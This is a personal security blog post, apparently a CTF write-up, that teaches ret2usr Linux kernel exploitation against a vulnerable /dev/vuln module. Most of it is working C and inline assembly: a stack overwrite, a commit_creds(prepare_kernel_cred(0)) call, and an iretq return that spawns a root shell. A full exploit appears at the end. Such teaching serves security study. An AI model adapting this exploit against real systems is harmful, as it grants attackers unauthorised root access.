Hello I am Arsalan. Offensive Security Engineer, I blog about Cyber security, CTF writeup, Programming, Blockchain and more about tech. born and raised in indonesia, currently living in indonesia

Posts   About

Ret2usr Kernel Exploitation Basic

Pwn, Pwn, Pwn Pwn the kernel

What is ret2usr

The ret2usr attack exploits the user space of the user space to access the kernel space, but the kernel space can access the user space** This feature directs the kernel code or data stream to the user control, and performs the userspace code completion with the ring 0 privilege. ~CTF Wiki

The ret2usr is pretty similar to ret2shellcode, since we can control things on user-land we can put shellcode somewhere on the stack then overwrite the return address of the current function with our shellcode address.

In order to make this technique work, we have to make sure there’s no kaslr, smep, smap and pti is enabled.

for example I will use challenge from https://w3challs.com/challenges/pwn/knoob

Save state registers

Firstly, before going into kernel-mode we have to save the state of these registers. then reload them after gaining root privileges. This is because normally kernel will return to user-land using 1 instruction either it is sysretq or iretq. Most people will use iretq because as far I know sysretq is more complicated. The iretq instruction requires the stack to be setup with 5 user-land register values in this order RIP|CS|RFLAGS|SP|SS

the function to save the state can be look like below

void save_state(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflag;"
        ".att_syntax"
    );
}

Open the device

We have to open the device in order to interact with the kernel module, the function to open the device will look like this:

void open_device_state(){
    opend_ = open("/dev/vuln", O_RDWR);
    if(opend_ < 0 ){
        write(1,"[-] fail to open device\n",24);
    }else{
        write(1,"[+] device opened\n",18);
    }
}

Overwrite return address

We can use command like echo "AAAAAAAAAAAAAAAAAA" > /dev/vuln to determine how long the offset to overwrite %rip then we can make a function to overwrite the current %rip on the kernel-space:

void smash(){
    unsigned long n = 23;
    unsigned long rop[n];
    unsigned off = 0;
    rop[off++] = 0x4141414141414141;
    rop[off++] = 0x4241414141414141;
    rop[off++] = 0x4341414141414141;
    rop[off++] = 0x4441414141414141;
    rop[off++] = 0x4541414141414141;
    rop[off++] = 0x4641414141414141;
    rop[off++] = 0x4741414141414141;
    rop[off++] = 0x4841414141414141;
    rop[off++] = 0x4941414141414141;
    rop[off++] = 0x4a41414141414141;
    rop[off++] = 0x4b41414141414141;
    rop[off++] = 0x4c41414141414141;
    rop[off++] = 0x4d41414141414141;
    rop[off++] = 0x4e41414141414141;
    rop[off++] = 0x4f41414141414141;
    rop[off++] = 0x5141414141414141;
    rop[off++] = 0x5241414141414141;
    rop[off++] = 0x5341414141414141;
    rop[off++] = 0x5441414141414141;
    rop[off++] = 0x5541414141414141;
    rop[off++] = 0x5641414141414141;
    rop[off++] = 0x5741414141414141;
    rop[off++] = (unsigned long)gain_r00t;
    write(opend_, rop, sizeof(rop));
}

In order to get privilege escalation, we need to perform commit_creds(prepare_kernel_cred(0)) to get root permission from kernel-space, since kaslr is disabled we can find the address from /proc/kallsyms

/ $ cat /proc/kallsyms | grep commit_creds
ffffffff81084550 T commit_creds
/ $ cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff81084810 T prepare_kernel_cred

Now we can craft the exploit and reload all the registers to achieve root privileges. Since we want a shell to be popped, you need to return to user-land. the reason is because after running the exploit we are still in kernel-mode so in order to get a root shell we need to return to user-land. the code to achieve root privileges and reload 5 register values can be written as follows

void gain_r00t(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, prepare_kernel_cred;"
        "xor rdi, rdi;"
        "call rax;"
        "mov rdi, rax;"
        "movabs rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_rsp;"
        "push r15;"
        "mov r15, user_rflag;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

Full exploit

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>


unsigned long prepare_kernel_cred = 0xffffffff81084810;
unsigned long commit_creds = 0xffffffff81084550;

int opend_;
unsigned long user_cs, user_ss, user_rsp, user_rflag;

void open_device_state(){
    opend_ = open("/dev/vuln", O_RDWR);
    if(opend_ < 0 ){
        write(1,"[-] fail to open device\n",24);
    }else{
        write(1,"[+] device opened\n",18);
    }
}

void save_state(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflag;"
        ".att_syntax"
    );
}

void gain_shell(void){
    write(1,"[*] back to userland\n",21);
    if(getuid() == 0){
        system("/bin/sh");
    }else{
        write(1, "[-] fail", 8);
    }
}

unsigned long user_rip = (unsigned long)gain_shell;
void gain_r00t(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, prepare_kernel_cred;"
        "xor rdi, rdi;"
        "call rax;"
        "mov rdi, rax;"
        "movabs rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_rsp;"
        "push r15;"
        "mov r15, user_rflag;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

void smash(){
    unsigned long n = 23;
    unsigned long rop[n];
    unsigned off = 0;
    rop[off++] = 0x4141414141414141;
    rop[off++] = 0x4241414141414141;
    rop[off++] = 0x4341414141414141;
    rop[off++] = 0x4441414141414141;
    rop[off++] = 0x4541414141414141;
    rop[off++] = 0x4641414141414141;
    rop[off++] = 0x4741414141414141;
    rop[off++] = 0x4841414141414141;
    rop[off++] = 0x4941414141414141;
    rop[off++] = 0x4a41414141414141;
    rop[off++] = 0x4b41414141414141;
    rop[off++] = 0x4c41414141414141;
    rop[off++] = 0x4d41414141414141;
    rop[off++] = 0x4e41414141414141;
    rop[off++] = 0x4f41414141414141;
    rop[off++] = 0x5141414141414141;
    rop[off++] = 0x5241414141414141;
    rop[off++] = 0x5341414141414141;
    rop[off++] = 0x5441414141414141;
    rop[off++] = 0x5541414141414141;
    rop[off++] = 0x5641414141414141;
    rop[off++] = 0x5741414141414141;
    rop[off++] = (unsigned long)gain_r00t;
    write(opend_, rop, sizeof(rop));
}

void main(){
    save_state();
    open_device_state();
    smash();    

}